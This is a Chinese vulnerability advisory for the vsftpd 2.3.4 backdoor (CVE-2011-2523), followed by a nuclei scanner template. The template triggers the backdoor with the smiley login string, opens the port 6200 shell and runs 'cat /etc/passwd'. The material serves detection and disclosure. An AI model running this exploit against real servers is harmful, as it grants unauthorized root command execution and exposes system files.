VSFTPD 234 - Backdoor Command Execution

漏洞信息

漏洞名称： VSFTPD 2.3.4 - Backdoor Command Execution

漏洞编号：

• CVE： CVE-2011-2523

漏洞类型： 命令执行

漏洞等级： 严重

漏洞描述： VSFTPD是一个非常流行的FTP服务器软件，广泛应用于各种Linux和Unix系统中，提供文件传输服务。由于其高效和稳定性，VSFTPD在企业级服务和常见的Web应用组件中非常常见。该软件在2.3.4版本中存在一个严重的后门漏洞，允许攻击者通过特定的用户登录请求字符串触发后门，从而在服务器上执行任意命令。这个漏洞的根源在于软件中故意植入的后门代码，使得攻击者无需任何认证即可利用此漏洞。攻击者可以利用此漏洞在受影响的服务器上执行任意命令，包括但不限于读取敏感文件、修改系统配置、安装恶意软件等，由于执行命令的权限是root级别，因此影响极为严重。此漏洞的利用非常简单，攻击者可以通过自动化工具大规模扫描和利用，对互联网上的大量VSFTPD服务器构成威胁。

产品厂商： vsftpd_project

产品名称： vsftpd

影响版本： 2.3.4

搜索语法： product:”vsftpd”

来源： https://github.com/projectdiscovery/nuclei-templates/blob/5288bea871d90346cf385e92ed30c3a5882d37f7/network%2Fcves%2F2011%2FCVE-2011-2523.yaml

类型： projectdiscovery/nuclei-templates:github issues

POC详情

id: CVE-2011-2523

info:
  name: VSFTPD 2.3.4 - Backdoor Command Execution
  author: pussycat0x
  severity: critical
  description: |
    VSFTPD v2.3.4 had a serious backdoor vulnerability allowing attackers to execute arbitrary commands on the server with root-level access. The backdoor was triggered by a specific string of characters in a user login request, which allowed attackers to execute any command they wanted.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands with the privileges of the FTP server.
  remediation: |
    Update to the latest version of VSFTPD, which does not contain the backdoor.
  reference:
    - https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor/
    - https://www.exploit-db.com/exploits/49757
    - http://packetstormsecurity.com/files/162145/vsftpd-2.3.4-Backdoor-Command-Execution.html
    - https://access.redhat.com/security/cve/cve-2011-2523
    - https://security-tracker.debian.org/tracker/CVE-2011-2523
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2011-2523
    cwe-id: CWE-78
    epss-score: 0.94261
    epss-percentile: 0.99925
    cpe: cpe:2.3:a:vsftpd_project:vsftpd:2.3.4:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: vsftpd_project
    product: vsftpd
    shodan-query: product:"vsftpd"
  tags: packetstorm,cve2011,network,cve,vsftpd,ftp,backdoor,vsftpd_project,tcp

variables:
  cmd: "cat /etc/passwd" # shows the the user and group names and numeric IDs

tcp:
  - host:
      - "{{Hostname}}"
    port: 21
    inputs:
      - data: "USER letmein:)\r\nPASS please\r\n"
        read: 100

  - host:
      - "{{Host}}:6200"
    port: 6200

    inputs:
      - data: "{{cmd}}\n"
        read: 100
    matchers:
      - type: regex
        part: raw
        regex:
          - "root:.*:0:0:"
# digest: 4a0a004730450220161bb26071b1cbdaffb3622f32422ac741759c1a462af53331097950830eb3950221008a050a69933b28520d2a67881b249e72f2892b400bc5093c15c7baddc9d3d8cb:922c64590222798bb761d5b6d8e72950